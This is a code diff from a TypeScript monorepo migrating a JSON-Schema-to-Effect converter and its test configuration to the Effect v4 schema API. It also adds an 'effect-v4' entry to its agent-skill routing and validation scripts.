18 "exclude": ["node_modules", "../../../node_modules", "**/dist", "test/__fixtures__/**"]
19 }
ts/packages/cli/vitest.config.ts
+3
@@ -1,6 +1,8 @@
1 import { defineConfig } from 'vitest/config';
2 import path from 'node:path';
3 +import { createRequire } from 'node:module';
4
5 +const require = createRequire(import.meta.url);
6 const __dirname = path.resolve(path.dirname(new URL(import.meta.url).pathname));
7 const coreDir = path.resolve(__dirname, '../core');
8 const tsBuildersDir = path.resolve(__dirname, '../ts-builders');
@@ -35,6 +37,7 @@ export default defineConfig({
37 },
38 },
39 test: {
40 + server: { deps: { inline: [/zod/] } },
41 testTimeout: 15_000,
42 typecheck: {
43 tsconfig: './tsconfig.test.json',
ts/packages/json-schema-to-effect-schema/src/index.ts
+9 -10
@@ -521,22 +521,21 @@ const defaultFormatIssues = (
521 // Validation is expressed as a filter over `Schema.Unknown` rather than a
522 // `Schema.declare` codec: the interpreter already owns the whole decision, so
523 // there is nothing to decode, and a filter reports every failure through the
524 -// `{ path, message }` shape Effect normalizes for us. `Schema.filter` is also
525 -// the API that survives the Effect 4 rewrite — where `ParseResult` is split
526 -// into `SchemaIssue`/`SchemaParser` and declarations lose their encode half —
527 -// as a rename to `Schema.check(Schema.makeFilter(...))`.
524 +// `{ path, issue }` shape Effect normalizes for us (`Schema.makeFilter`
525 +// returns a `FilterOutput`; a string is the shorthand for a single
526 +// `SchemaIssue.InvalidValue` carrying that message).
527 export const jsonSchemaToEffectSchema = (
528 jsonSchema: JsonObject,
529 options: JsonSchemaToEffectSchemaOptions = {}
531 -): Schema.Schema<unknown> => {
530 +): Schema.Codec<unknown> => {
531 const draft = options.draft ?? '7';
532 const normalizedSchema = normalizeJsonSchema(jsonSchema, draft);
533 const validator = new Validator(normalizedSchema, draft, false);
534 assertSchemaIsInterpretable(normalizedSchema);
535 const formatIssues = options.formatIssues ?? defaultFormatIssues;
536
538 - return Schema.Unknown.pipe(
539 - Schema.filter(input => {
537 + return Schema.Unknown.check(
538 + Schema.makeFilter((input): Schema.FilterOutput => {
539 let validation: ReturnType<Validator['validate']>;
540 try {
541 validation = validator.validate(input);
@@ -544,8 +543,8 @@ export const jsonSchemaToEffectSchema = (
543 // Schema defects are rejected at construction, so what reaches here is
544 // input the interpreter cannot represent at all — a `bigint`, `symbol`,
545 // `function`, or `undefined`. That is a property of the input, so it
547 - // belongs in the filter. A string is `Schema.filter`'s shorthand for the
548 - // `ParseResult.Type` issue Effect would otherwise build by hand.
546 + // belongs in the filter. A string is the filter's shorthand for the
547 + // `SchemaIssue.InvalidValue` issue Effect would otherwise build by hand.
548 return `JSON Schema validation failed: ${error}`;
549 }
550 if (validation.valid) {
@@ -561,7 +560,7 @@ export const jsonSchemaToEffectSchema = (
560 // `formatIssues` may fan one issue out into several messages, so the
561 // location stays inside the message (as it always has) instead of being
562 // reported as a structural path.
564 - return messages.map(message => ({ path: [], message }));
563 + return messages.map(message => ({ path: [], issue: message }));
564 })
565 );
566 };
ts/scripts/test-skill-routing.mjs
+23 -3
@@ -40,7 +40,7 @@ const probes = [
40 {
41 task: 'implement a new Effect CLI command and wire it into the command tree',
42 expect: 'cli-command',
43 - terms: ['@effect/cli', 'command wiring', 'CLI command UX', 'CLI source edits'],
43 + terms: ['effect/unstable/cli', 'command wiring', 'CLI command UX', 'CLI source edits'],
44 },
45 {
46 task: 'write a Docker-based end-to-end test for the composio CLI binary',
@@ -67,6 +67,16 @@ const probes = [
67 expect: 'docs-decisions',
68 terms: ['Fumadocs', 'ADR-style records', 'docs decisions', 'docs review guidance'],
69 },
70 + {
71 + task: 'define a new Context.Service with an explicit layer and a Schema.TaggedErrorClass, and bump the Effect beta pins',
72 + expect: 'effect-v4',
73 + terms: [
74 + 'Context.Service',
75 + 'Schema.TaggedErrorClass',
76 + 'vendored effect source',
77 + 'bumping the Effect beta pins',
78 + ],
79 + },
80 {
81 task: 'build or debug a durable backend agent with eve channels and schedules',
82 expect: 'eve',
@@ -85,7 +95,12 @@ const probes = [
95 {
96 task: 'create a Python provider adapter under python/providers with metadata',
97 expect: 'python-providers',
88 - terms: ['python/providers', 'Python provider adapters', 'provider metadata', 'framework-specific dependencies'],
98 + terms: [
99 + 'python/providers',
100 + 'Python provider adapters',
101 + 'provider metadata',
102 + 'framework-specific dependencies',
103 + ],
104 },
105 {
106 task: 'publish the Python SDK to PyPI, bump the version and update the client pin',
@@ -115,7 +130,12 @@ const probes = [
130 {
131 task: 'implement a TypeScript provider package adapter for OpenAI and Anthropic',
132 expect: 'typescript-providers',
118 - terms: ['ts/packages/providers', 'TypeScript provider packages', 'Claude Agent SDK', 'framework adapters'],
133 + terms: [
134 + 'ts/packages/providers',
135 + 'TypeScript provider packages',
136 + 'Claude Agent SDK',
137 + 'framework adapters',
138 + ],
139 },
140 {
141 task: 'modify @composio/core tool and toolkit behavior and modifiers',
ts/scripts/validate-agent-skills.mjs
+1
@@ -17,6 +17,7 @@ const expectedSkills = [
17 'cli-release',
18 'cross-sdk-parity',
19 'docs-decisions',
20 + 'effect-v4',
21 'eve',
22 'good-docs-audit',
23 'good-docs-writing',
ts/vendor/effect
+1 -1
@@ -1 +1 @@
1 -Subproject commit 703792d9dea3f49acdeb8cce85b261b302fee4e3
1 +Subproject commit 2600f62f4532026928454dcea8d1c48557b3f942